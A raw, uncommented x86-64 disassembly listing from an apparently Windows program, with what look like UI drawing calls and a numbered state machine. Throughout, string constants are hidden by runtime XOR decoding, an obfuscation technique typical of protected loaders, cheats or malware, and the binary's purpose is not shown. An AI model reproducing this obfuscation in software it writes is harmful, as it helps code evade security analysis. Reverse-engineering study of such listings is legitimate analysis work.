call fcn.1400451b0
mov dword [0x1404dddb8], 2
cmp byte [rbp + 0x20], sil
je 0x140047e49
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x4c73d7905b9fe08
mov qword [rbp + 0x10], rax
movabs rax, 0xbf827d8e26edfce6
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e60], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xc75c926dff7c2201
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e68], rcx
movabs rcx, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e70], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e78], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e80], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e88], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e90], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xc90]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e98], rax
vmovdqu ymm0, ymmword [rbp + 0x1e80]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e60]
vmovdqa ymmword [rbp + 0x1e60], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4fc]
lea rcx, [rbp + 0x2b8]
movss xmm1, dword [0x14015d4d0]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0x1e60]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
jmp 0x140047e3f
movss xmm6, dword [0x14015d4a4]
movabs rdi, 0xcaed3bae5282b2c6
cmp dword [0x1404dddb8], 2
jne 0x14004827d
movss xmm1, dword [0x14015d500]
lea rcx, [rbp + 0x2c0]
addss xmm12, dword [0x14015d39c]
movaps xmm2, xmm6
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
mov edx, 0xff
mov dword [rsp + 0x20], esi
mov r9d, edx
lea rcx, [rbp + 0xca0]
mov r8d, edx
call fcn.140030420
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xcb0]
mov r8d, edx
mov rbx, rax
call fcn.140030420
movss xmm2, dword [0x14015d3e4]
mov r9, rax
xor eax, eax
mov dword [rsp + 0x38], esi
mov byte [rbp], al
movaps xmm1, xmm7
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61cd327e13bde211
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcc0], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcc8], rcx
lea rcx, [rbp + 0xcc0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xcd0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xcd8], rax
movdqa xmm0, xmmword [rbp + 0xcd0]
xorps xmm0, xmmword [rbp + 0xcc0]
movdqa xmmword [rbp + 0xcc0], xmm0
movss xmm0, dword [0x14015d3dc]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14015d3f0]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
call fcn.14003d9f0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400480f3
movss xmm2, dword [0x14015d4c0]
lea rcx, [rbp + 0x2c8]
movss xmm1, dword [0x14015d4dc]
call fcn.140001d30
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xce0]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.140030420
movss xmm3, dword [0x14015d3ac]
lea r8, [rbp + 0x10]
movabs rsi, 0x33a66fbccd7eb820
unpcklps xmm6, xmm7
movabs rbx, 0x61aa5c1777dc8d5d
lea rdx, [rbp + 0x1ea0]
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x41cd327e03a8e81a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ea0], rax
movabs rax, 0xac83728e20e7c193
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ea8], rax
movabs rax, 0xc75c926dff5d4600
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1eb0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1eb8], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ec0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ec8], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ed0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1404ddd98]
mov qword [rbp + 0x1ed8], rax
vmovdqu ymm0, ymmword [rbp + 0x1ec0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ea0]
vmovss xmm0, dword [0x14015d41c]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x1ea0], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.140044e90
comiss xmm12, dword [0x14015d55c]
jbe 0x140048107
mov byte [reloc.WS2_32.dll_accept], 0
movaps xmm12, xmm14
mov byte [0x1404de281], r13b
jmp 0x140048114
movabs rbx, 0x61aa5c1777dc8d5d
movabs rsi, 0x33a66fbccd7eb820
cmp byte [0x1404de281], 0
je 0x14004827d
movss xmm2, dword [0x14015d4c0]
lea rcx, [rbp + 0x2d0]
movss xmm1, dword [0x14015d4d0]
call fcn.140001d30
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xcf0]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.140030420
movss xmm3, dword [0x14015d3ac]
lea r8, [rbp + 0x10]
unpcklps xmm6, xmm7
lea rdx, [rbp + 0x1ee0]
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x41cd327e03a8e80e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ee0], rax
movabs rax, 0xac8254de01a2c293
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ee8], rax
movabs rax, 0xc75c926dff5d340a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ef0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ef8], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f00], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f08], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f10], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1404ddd98]
mov qword [rbp + 0x1f18], rax
vmovdqu ymm0, ymmword [rbp + 0x1f00]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ee0]
vmovss xmm0, dword [0x14015d41c]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x1ee0], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.140044e90
comiss xmm12, dword [0x14015d55c]
jbe 0x14004827d
mov byte [0x1404de281], 0
movaps xmm12, xmm14
mov dword [0x1404dddb8], 3
jmp 0x14004828a
cmp dword [0x1404dddb8], 3
jne 0x1400498cb
call fcn.140013250
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xd00]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x1404dcbd4]
lea rcx, [rbp + 0x2d8]
movss xmm1, dword [0x14015d474]
mov edi, eax
call fcn.140001d30
movaps xmm2, xmm14
lea rcx, [rbp + 0x2e0]
movaps xmm1, xmm14
mov rbx, rax
call fcn.140001d30
movss xmm0, dword [0x14015d410]
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
mov rdx, rax
movss dword [rsp + 0x20], xmm0
mov rcx, rsi
call fcn.140024340
movss xmm0, dword [0x14015d43c]
lea rcx, [rbp + 0x2e8]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
mov rcx, qword [rbp + 0x160]
call fcn.140012c70
movss xmm6, dword [0x14015d44c]
lea rcx, [rbp + 0x2f0]
movaps xmm2, xmm6
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 3
lea rdx, [0x1401581dc]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x140048389
mov dword [0x1404dddb8], 3
movaps xmm2, xmm6
lea rcx, [rbp + 0x2f8]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 4
lea rdx, [0x1401581e0]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x1400483c2
mov dword [0x1404dddb8], 4
movaps xmm2, xmm6
lea rcx, [rbp + 0x300]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 5
lea rdx, [0x1401581e4]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x1400483fb
mov dword [0x1404dddb8], 5
movaps xmm2, xmm6
lea rcx, [rbp + 0x308]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 6
lea rdx, [0x1401581e8]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x140048434
mov dword [0x1404dddb8], 6
movaps xmm2, xmm6
lea rcx, [rbp + 0x310]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 7
lea rdx, [0x1401581ec]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004846d
mov dword [0x1404dddb8], 7
call fcn.140012d10
call fcn.140017370
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x318]
movss xmm1, dword [rbp + 0x1a0]
addss xmm2, dword [0x14015d448]
addss xmm1, dword [0x14015d484]
call fcn.140001d30
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x320]
movss xmm1, dword [rbp + 0x1a0]
addss xmm2, dword [0x14015d4e0]
addss xmm1, dword [0x14015d558]
call fcn.140001d30
movaps xmm2, xmm14
lea rcx, [rbp + 0x328]
movaps xmm1, xmm14
call fcn.140001d30
lea rdx, [0x1404de3c0]
mov rbx, rax
lea rcx, [rbp + 0xd10]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14015d460]
lea r8, [rbp + 0x320]
movss dword [rsp + 0x38], xmm14
lea rdx, [rbp + 0x318]
xor esi, esi
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r14
mov qword [rsp + 0x28], rbx
movss dword [rsp + 0x20], xmm0
call fcn.140025d20
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rbx, rax
lea rcx, [rbp + 0xd20]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14015d3b8]
lea r8, [rbp + 0x320]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x318]
movss xmm0, dword [0x14015d3d4]
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140024260
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
movabs r14, 0xcaed3bae5282b2c6
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa5c1777dc8d19
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd30], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd38], rcx
lea rcx, [rbp + 0xd50]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd40], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd48], rax
movdqa xmm0, xmmword [rbp + 0xd40]
xorps xmm0, xmmword [rbp + 0xd30]
movdqa xmmword [rbp + 0xd30], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d430]
lea rcx, [rbp + 0x330]
movss xmm1, dword [0x14015d488]
mov ebx, eax
call fcn.140001d30
movss xmm7, dword [0x14015d418]
lea rcx, [rbp + 0xd30]
mov rdx, qword [0x1404ddda8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xec6397019bde51e
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282b2a1
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd60], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd68], rcx
lea rcx, [rbp + 0xd80]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd70], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd78], rax
movdqa xmm0, xmmword [rbp + 0xd70]
xorps xmm0, xmmword [rbp + 0xd60]
movdqa xmmword [rbp + 0xd60], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d430]
lea rcx, [rbp + 0x338]
movss xmm1, dword [0x14015d4a0]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0xd60]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x41dd39595781a606
mov qword [rbp + 0x10], rax
movabs rax, 0xaf8548db02a2fb93
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1f20], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xc75c926dff5d460b
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1f28], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movabs rcx, 0x33a66fbccd7eb820
mov qword [rbp + 0x1f30], rax
mov edx, 0xf0
mov qword [rbp + 0x10], rcx
mov r9d, edx
mov rax, qword [rbp + 0x10]
mov r8d, edx
mov qword [rbp + 0x1f38], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f40], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f48], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f50], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xd90]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f58], rax
vmovdqu ymm0, ymmword [rbp + 0x1f40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1f20]
vmovdqa ymmword [rbp + 0x1f20], ymm1
mov dword [rsp + 0x20], 0xff
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d450]
lea rcx, [rbp + 0x340]
movss xmm1, dword [0x14015d494]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0x1f20]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x4d8335a5781a606
mov qword [rbp + 0x10], rax
movabs rax, 0xca9948cb34e3e1e6
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xda0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xda8], rcx
lea rcx, [rbp + 0xdc0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xdb0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xdb8], rax
movdqa xmm0, xmmword [rbp + 0xdb0]
xorps xmm0, xmmword [rbp + 0xda0]
movdqa xmmword [rbp + 0xda0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov ebx, eax
movss xmm2, dword [0x14015d45c]
lea rcx, [rbp + 0x348]
movss xmm1, dword [0x14015d494]
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0xda0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xdc629515781a606
mov qword [rbp + 0x10], rax
movabs rax, 0xaf995eca3cd792bf
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1f60], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xc75c926d9b38320c
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1f68], rcx
movabs rcx, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f70], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f78], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f80], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f88], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f90], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xdd0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f98], rax
vmovdqu ymm0, ymmword [rbp + 0x1f80]
vpxor ymm1, ymm0, ymmword [rbp + 0x1f60]
vmovdqa ymmword [rbp + 0x1f60], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d470]
lea rcx, [rbp + 0x350]
movss xmm1, dword [0x14015d494]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0x1f60]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
xor eax, eax
mov dword [rsp + 0x20], 0xff
mov byte [rbp], al
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
movabs rax, 0x13da315e5781a606
mov qword [rbp + 0x10], rax
movabs rax, 0xb8886b8e36e7c4a9
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1fa0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xa23ffc0c922f2909
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1fa8], rcx
movabs rcx, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fb0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fb8], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fc0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fc8], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fd0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xde0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fd8], rax
vmovdqu ymm0, ymmword [rbp + 0x1fc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1fa0]
vmovdqa ymmword [rbp + 0x1fa0], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d484]
lea rcx, [rbp + 0x358]
movss xmm1, dword [0x14015d494]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0x1fa0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x41ce397919bde10d
mov qword [rbp + 0x10], rax
movabs rax, 0xea9e5ec93ce3da85
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1fe0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb324f723df2f2929
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1fe8], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ff0], rax
movabs rax, 0x33c31bdda90eed00
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0xdf0]
mov rax, qword [rbp + 0x10]
mov edx, 0xf0
mov qword [rbp + 0x1ff8], rax
mov r9d, edx
movabs rax, 0x61aa5c1777dc8d5d
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov r8d, edx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2000], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2008], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2010], rax
movabs rax, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2018], rax
vmovdqu ymm0, ymmword [rbp + 0x2000]
vpxor ymm1, ymm0, ymmword [rbp + 0x1fe0]
vmovdqa ymmword [rbp + 0x1fe0], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4fc]
lea rcx, [rbp + 0x360]
movss xmm1, dword [0x14015d494]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0x1fe0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rdi, rax
lea rcx, [rbp + 0xe00]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4fc]
lea rcx, [rbp + 0x368]
movss xmm1, dword [0x14015d478]
mov ebx, eax
call fcn.140001d30
mov r14, qword [rbp + 0x160]
lea rcx, [0x1401581f0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x370]
movss xmm1, dword [rbp + 0x1a0]
addss xmm2, dword [0x14015d510]
addss xmm1, dword [0x14015d484]
call fcn.140001d30
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x378]
movss xmm1, dword [rbp + 0x1a0]
addss xmm2, dword [0x14015d548]
addss xmm1, dword [0x14015d514]
call fcn.140001d30
call fcn.140013250
mov edx, 0x5a
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xe10]
mov r8d, edx
mov rbx, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14015d3b8]
lea r8, [rbp + 0x378]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x370]
movss xmm0, dword [0x14015d3e4]
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140024260
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x508a256304b3e51a
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae528282e8
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe20], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe28], rcx
lea rcx, [rbp + 0xe40]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe30], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xe20]
mov qword [rbp + 0xe38], rax
xorps xmm0, xmmword [rbp + 0xe30]
movdqa xmmword [rbp + 0xe20], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d51c]
lea rcx, [rbp + 0x380]
movss xmm1, dword [0x14015d48c]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d408]
lea rcx, [rbp + 0xe20]
mov rdx, qword [0x1404ddda0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
movabs rdx, 0xcaed3bae5282b2c6
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x12cd295557a4e41b
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe50], rcx
mov qword [rbp + 0x10], rdx
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe58], rcx
lea rcx, [rbp + 0xe70]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe60], rax
mov qword [rbp + 0x10], rdx
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0xe50]
mov r8d, edx
mov qword [rbp + 0xe68], rax
xorps xmm0, xmmword [rbp + 0xe60]
movdqa xmmword [rbp + 0xe50], xmm0
mov dword [rsp + 0x20], 0xff
call fcn.140030420
mov rcx, rax
call fcn.140030470
